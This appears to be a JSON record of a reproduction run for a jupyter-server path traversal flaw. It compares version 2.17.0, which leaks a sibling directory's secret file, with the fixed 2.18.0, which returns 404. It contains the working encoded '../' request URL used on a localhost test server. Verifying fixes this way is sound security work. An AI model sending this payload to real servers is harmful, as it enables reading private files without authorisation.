{
  "reproduction_runs": [
    {
      "label": "vulnerable",
      "version": "2.17.0",
      "request": {
        "method": "GET",
        "url": "http://localhost:28888/api/contents/%2e%2e%2fdatasecret/secret.txt?content=1",
        "headers": {}
      },
      "response": {
        "status": 200,
        "body_preview": "{\"name\": \"secret.txt\", \"path\": \"../datasecret/secret.txt\", \"content\": \"SECRET CONTENT\\n\", ...}",
        "body_file": "logs/vulnerable_http_body.json"
      },
      "server_log": "logs/vulnerable.log",
      "exploitable": true,
      "notes": "Vulnerable jupyter-server 2.17.0 serves file from prefix-sharing sibling directory via path traversal in /api/contents/ endpoint when allow_hidden=True."
    },
    {
      "label": "fixed",
      "version": "2.18.0",
      "request": {
        "method": "GET",
        "url": "http://localhost:28888/api/contents/%2e%2e%2fdatasecret/secret.txt?content=1",
        "headers": {}
      },
      "response": {
        "status": 404,
        "body_preview": "file or directory '/../datasecret/secret.txt' does not exist",
        "body_file": "logs/fixed_http_body.json"
      },
      "server_log": "logs/fixed.log",
      "exploitable": false,
      "notes": "Fixed jupyter-server 2.18.0 correctly rejects the path traversal request with HTTP 404."
    }
  ],
  "reproduction_script": "repro/reproduction_steps.sh",
  "timestamp": "2026-05-22T18:21:00Z"
}
